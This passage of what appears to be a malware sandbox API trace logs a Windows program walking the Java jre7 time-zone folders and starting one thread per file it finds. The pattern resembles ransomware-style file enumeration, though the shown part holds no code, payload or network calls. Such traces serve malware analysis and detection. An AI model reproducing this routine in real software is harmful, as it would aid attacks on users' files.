(in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0173.370] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-3", cAlternateFileName="")) returned 1 [0173.370] wcscmp (_String1="GMT-3", _String2=".") returned 1 [0173.370] wcscmp (_String1="GMT-3", _String2="..") returned 1 [0173.370] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1608 [0173.370] wcscpy (in: _Dest=0x8f1608, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.370] wcscat (in: _Dest=0x8f1608, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.370] wcscat (in: _Dest=0x8f1608, _Source="GMT-3" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-3" [0173.370] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x604 [0173.371] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-4", cAlternateFileName="")) returned 1 [0173.371] wcscmp (_String1="GMT-4", _String2=".") returned 1 [0173.371] wcscmp (_String1="GMT-4", _String2="..") returned 1 [0173.371] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f12f8 [0173.371] wcscpy (in: _Dest=0x8f12f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.371] wcscat (in: _Dest=0x8f12f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.371] wcscat (in: _Dest=0x8f12f8, _Source="GMT-4" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-4" [0173.371] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f12f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x71c [0173.372] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-5", cAlternateFileName="")) returned 1 [0173.372] wcscmp (_String1="GMT-5", _String2=".") returned 1 [0173.372] wcscmp (_String1="GMT-5", _String2="..") returned 1 [0173.372] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x93ccc8 [0173.372] wcscpy (in: _Dest=0x93ccc8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.372] wcscat (in: _Dest=0x93ccc8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.372] wcscat (in: _Dest=0x93ccc8, _Source="GMT-5" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-5") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-5" [0173.372] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ccc8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x720 [0173.373] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-6", cAlternateFileName="")) returned 1 [0173.374] wcscmp (_String1="GMT-6", _String2=".") returned 1 [0173.374] wcscmp (_String1="GMT-6", _String2="..") returned 1 [0173.374] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x93cd38 [0173.374] wcscpy (in: _Dest=0x93cd38, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.374] wcscat (in: _Dest=0x93cd38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.374] wcscat (in: _Dest=0x93cd38, _Source="GMT-6" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-6") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-6" [0173.374] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cd38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x728 [0173.375] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74639ce0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-7", cAlternateFileName="")) returned 1 [0173.375] wcscmp (_String1="GMT-7", _String2=".") returned 1 [0173.375] wcscmp (_String1="GMT-7", _String2="..") returned 1 [0173.375] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x93cda8 [0173.375] wcscpy (in: _Dest=0x93cda8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.375] wcscat (in: _Dest=0x93cda8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.375] wcscat (in: _Dest=0x93cda8, _Source="GMT-7" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-7") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-7" [0173.375] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93cda8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x72c [0173.376] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74639ce0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74639ce0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-8", cAlternateFileName="")) returned 1 [0173.376] wcscmp (_String1="GMT-8", _String2=".") returned 1 [0173.376] wcscmp (_String1="GMT-8", _String2="..") returned 1 [0173.376] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x93ce18 [0173.376] wcscpy (in: _Dest=0x93ce18, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.377] wcscat (in: _Dest=0x93ce18, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.377] wcscat (in: _Dest=0x93ce18, _Source="GMT-8" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-8") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-8" [0173.377] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x93ce18, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x730 [0173.901] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="GMT-9", cAlternateFileName="")) returned 1 [0173.901] wcscmp (_String1="GMT-9", _String2=".") returned 1 [0173.901] wcscmp (_String1="GMT-9", _String2="..") returned 1 [0173.901] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f1678 [0173.901] wcscpy (in: _Dest=0x8f1678, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0173.901] wcscat (in: _Dest=0x8f1678, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0173.901] wcscat (in: _Dest=0x8f1678, _Source="GMT-9" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-9") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\GMT-9" [0175.660] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8f1678, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3b0 [0175.661] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCT", cAlternateFileName="")) returned 1 [0175.661] wcscmp (_String1="UCT", _String2=".") returned 1 [0175.661] wcscmp (_String1="UCT", _String2="..") returned 1 [0175.661] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90ea78 [0175.661] wcscpy (in: _Dest=0x90ea78, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0175.661] wcscat (in: _Dest=0x90ea78, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0175.661] wcscat (in: _Dest=0x90ea78, _Source="UCT" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UCT") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UCT" [0175.661] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x90ea78, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1574 [0175.662] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 1 [0175.662] wcscmp (_String1="UTC", _String2=".") returned 1 [0175.662] wcscmp (_String1="UTC", _String2="..") returned 1 [0175.662] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x60) returned 0x90f298 [0175.662] wcscpy (in: _Dest=0x90f298, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc" [0175.662] wcscat (in: _Dest=0x90f298, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\" [0175.662] wcscat (in: _Dest=0x90f298, _Source="UTC" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UTC") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Etc\\UTC" [0175.662] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x90f298, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c0 [0175.663] FindNextFileW (in: hFindFile=0x93b978, lpFindFileData=0x92a2f0 | out: lpFindFileData=0x92a2f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UTC", cAlternateFileName="")) returned 0 [0175.664] FindClose (in: hFindFile=0x93b978 | out: hFindFile=0x93b978) returned 1 [0175.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x92a2f0) returned 1 [0175.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90f028) returned 1 [0175.664] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff128) returned 1 Thread: id = 5297 os_tid = 0xff0 [0164.254] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x62) returned 0x8f18a8 [0164.254] wcscpy (in: _Dest=0x8f18a8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0164.254] wcscat (in: _Dest=0x8f18a8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0164.254] wcscat (in: _Dest=0x8f18a8, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*" [0164.254] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x92d310 [0164.254] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\*", lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8d9c50 [0170.433] wcscmp (_String1=".", _String2=".") returned 0 [0170.433] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x74685fa0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x74685fa0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0170.597] wcscmp (_String1="..", _String2=".") returned 1 [0170.597] wcscmp (_String1="..", _String2="..") returned 0 [0170.597] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x608, dwReserved0=0x0, dwReserved1=0x0, cFileName="Amsterdam", cAlternateFileName="AMSTER~1")) returned 1 [0170.597] wcscmp (_String1="Amsterdam", _String2=".") returned 1 [0170.597] wcscmp (_String1="Amsterdam", _String2="..") returned 1 [0170.597] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x72) returned 0x8d0780 [0170.597] wcscpy (in: _Dest=0x8d0780, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0170.597] wcscat (in: _Dest=0x8d0780, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0170.597] wcscat (in: _Dest=0x8d0780, _Source="Amsterdam" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Amsterdam") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Amsterdam" [0178.390] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8d0780, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xdd4 [0178.391] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Andorra", cAlternateFileName="")) returned 1 [0178.391] wcscmp (_String1="Andorra", _String2=".") returned 1 [0178.391] wcscmp (_String1="Andorra", _String2="..") returned 1 [0178.391] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6e) returned 0x8e8e90 [0178.391] wcscpy (in: _Dest=0x8e8e90, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.391] wcscat (in: _Dest=0x8e8e90, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.391] wcscat (in: _Dest=0x8e8e90, _Source="Andorra" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Andorra") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Andorra" [0178.391] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8e90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0 [0178.392] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Athens", cAlternateFileName="")) returned 1 [0178.392] wcscmp (_String1="Athens", _String2=".") returned 1 [0178.392] wcscmp (_String1="Athens", _String2="..") returned 1 [0178.393] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e92c8 [0178.393] wcscpy (in: _Dest=0x8e92c8, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.393] wcscat (in: _Dest=0x8e92c8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.393] wcscat (in: _Dest=0x8e92c8, _Source="Athens" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Athens") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Athens" [0178.393] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e92c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba4 [0178.394] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x410, dwReserved0=0x0, dwReserved1=0x0, cFileName="Belgrade", cAlternateFileName="")) returned 1 [0178.394] wcscmp (_String1="Belgrade", _String2=".") returned 1 [0178.394] wcscmp (_String1="Belgrade", _String2="..") returned 1 [0178.394] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x8e8968 [0178.394] wcscpy (in: _Dest=0x8e8968, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.394] wcscat (in: _Dest=0x8e8968, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.394] wcscat (in: _Dest=0x8e8968, _Source="Belgrade" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Belgrade" [0178.394] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8968, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba8 [0178.395] FindNextFileW (in: hFindFile=0x8d9c50, lpFindFileData=0x92d310 | out: lpFindFileData=0x92d310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7465fe40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7465fe40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7465fe40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x4d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Berlin", cAlternateFileName="")) returned 1 [0178.395] wcscmp (_String1="Berlin", _String2=".") returned 1 [0178.395] wcscmp (_String1="Berlin", _String2="..") returned 1 [0178.395] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6c) returned 0x8e8cb0 [0178.395] wcscpy (in: _Dest=0x8e8cb0, _Source="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe" [0178.395] wcscat (in: _Dest=0x8e8cb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\" [0178.395] wcscat (in: _Dest=0x8e8cb0, _Source="Berlin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Berlin") returned="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\Europe\\Berlin" [0178.395] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x8e8cb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 